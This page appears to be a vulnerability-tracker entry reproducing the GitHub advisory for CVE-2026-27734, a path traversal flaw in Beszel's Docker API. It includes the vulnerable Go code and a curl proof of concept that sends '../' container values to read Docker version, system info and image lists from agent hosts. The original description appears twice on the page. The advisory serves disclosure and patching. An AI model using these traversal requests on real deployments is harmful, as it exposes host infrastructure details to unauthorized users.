Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
6.5
Docker API Exposes Sensitive Info via Unvalidated Container ID
CVE-2026-27734
GHSA-phwh-4f42-gwf3
Summary
A security issue in Beszel's Docker API allows an authenticated user to access sensitive Docker information on the agent host. This can happen when a user provides a specially crafted container ID in a request. To fix this, update the Beszel software to the latest version, which includes a patch to properly validate and sanitize container IDs.
What to do
- Update github.com henrygd to version 0.18.4.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| github.com | henrygd | <= 0.18.3 | 0.18.4 |
| beszel | beszel | <= 0.18.2 | – |
Original title
Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID
Original description
### Summary
The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.
### Details
**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:
```go
containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" { ... }
data, err := fetchFunc(system, containerID) // passed directly to agent
```
**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:
```go
endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID)
endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail)
```
Go's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.
### PoC
Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).
```bash
# Authenticate
TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \
-H "Content-Type: application/json" \
-d '{"identity":"[email protected]","password":"password"}' | jq -r '.token')
SYSTEM="<system_id>"
# Path traversal: Docker version (returns full engine version, kernel, Go version)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \
-H "Authorization: Bearer $TOKEN"
# Path traversal: Docker system info (returns hostname, OS, container count, network config)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \
-H "Authorization: Bearer $TOKEN"
# Path traversal: List all images (triggers unmarshal error confirming traversal works)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \
-H "Authorization: Bearer $TOKEN"
```
All three requests returned real data from the Docker Engine API on the agent host.
### Impact
Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.
## Researcher
Sergio Cabrera
https://www.linkedin.com/in/sergio-cabrera-878766239/
The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.
### Details
**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:
```go
containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" { ... }
data, err := fetchFunc(system, containerID) // passed directly to agent
```
**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:
```go
endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID)
endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail)
```
Go's http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.
### PoC
Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).
```bash
# Authenticate
TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \
-H "Content-Type: application/json" \
-d '{"identity":"[email protected]","password":"password"}' | jq -r '.token')
SYSTEM="<system_id>"
# Path traversal: Docker version (returns full engine version, kernel, Go version)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \
-H "Authorization: Bearer $TOKEN"
# Path traversal: Docker system info (returns hostname, OS, container count, network config)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \
-H "Authorization: Bearer $TOKEN"
# Path traversal: List all images (triggers unmarshal error confirming traversal works)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \
-H "Authorization: Bearer $TOKEN"
```
All three requests returned real data from the Docker Engine API on the agent host.
### Impact
Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.
## Researcher
Sergio Cabrera
https://www.linkedin.com/in/sergio-cabrera-878766239/
nvd CVSS3.1
6.5
Vulnerability type
CWE-22
Path Traversal
- https://github.com/henrygd/beszel/releases/tag/v0.18.4 Product Release Notes
- https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3 Exploit Vendor Advisory
- https://github.com/henrygd/beszel/commit/311095cfddda113863ca9656cf9e99411be1cef...
- https://nvd.nist.gov/vuln/detail/CVE-2026-27734
- https://github.com/advisories/GHSA-phwh-4f42-gwf3
Published: 27 Feb 2026 · Updated: 13 Mar 2026 · First seen: 6 Mar 2026